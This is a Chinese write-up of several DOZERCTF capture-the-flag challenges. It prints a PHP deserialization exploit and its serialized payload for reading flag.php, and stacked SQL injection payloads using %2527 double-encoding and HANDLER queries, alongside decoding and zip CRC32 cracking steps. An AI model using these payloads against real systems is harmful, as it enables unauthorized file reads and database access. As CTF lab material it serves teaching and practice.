DOZERCTF --部分复现

web

白给的反序列化

的确白给
高危函数在这,利用这个函数读取flag.php
图片: https://uploader.shimo.im/f/mz2r9zE9tZQGhwVQ.png

在这里插入图片描述

DOZERCTF --部分复现_第1张图片
这个函数要传两个参数
第一个参数是函数的名字,而我们需要读取flag.php,刚好mysy()函数可以读取任意文件
第二参数要传一个数组,数组里要是参数
所以令第二个参数为flag.php的数组
exp如下



class home
{
    private $method ="mysys";
    private $args = array("flag.php");
	
}
$a = new home();
$b = serialize($a); 
echo $b;
?>

图片: https://uploader.shimo.im/f/v4AY3QAVZZlhQMqJ.png
注意他是私有变量
图片: https://uploader.shimo.im/f/7GKQzPzUM0anTkXn.png
exp生成的payload是不带%00的所以要我们自己加上

payload

O:4:"home":2:{s:12:"%00home%00method";s:5:"mysys";s:10:"%00home%00args";a:1:{i:0;s:8:"flag.php";}}

传入后base64解码即可

sql-lab

提示二次编码 %2527 --+ 闭合 然后
参考 [GYCTF2020]Blacklist
原题改的
堆叠注入完事
DOZERCTF --部分复现_第2张图片
DOZERCTF --部分复现_第3张图片
有个uziuzi表
看uziuzi表里的内容

1%2527;use security;show columns from `uziuzi`;  --+

DOZERCTF --部分复现_第4张图片
然后用handler 来查询flag

1%2527;use security;HANDLER uziuzi OPEN;HANDLER uziuzi READ FIRST;HANDLER uziuzi CLOSE; --+

DOZERCTF --部分复现_第5张图片

签到

先base64 再base32
DOZERCTF --部分复现_第6张图片
得到16进制的东西

再进行hex转换
DOZERCTF --部分复现_第7张图片
再base58解密DOZERCTF --部分复现_第8张图片

MISC upload

流量分析,先搜flag
DOZERCTF --部分复现_第9张图片
发现是一段http请求
DOZERCTF --部分复现_第10张图片
导出http请求

DOZERCTF --部分复现_第11张图片
再点保存全部
在这里插入图片描述
可以发现flag那个zip是经过加密的
然后就是zip破解了

这里用到的是crc32破解
爆破工具
DOZERCTF --部分复现_第12张图片
将那个5个txt的crc32值按顺序逐个爆破
DOZERCTF --部分复现_第13张图片
逐个拼接即可

你可能感兴趣的:(DOZERCTF --部分复现)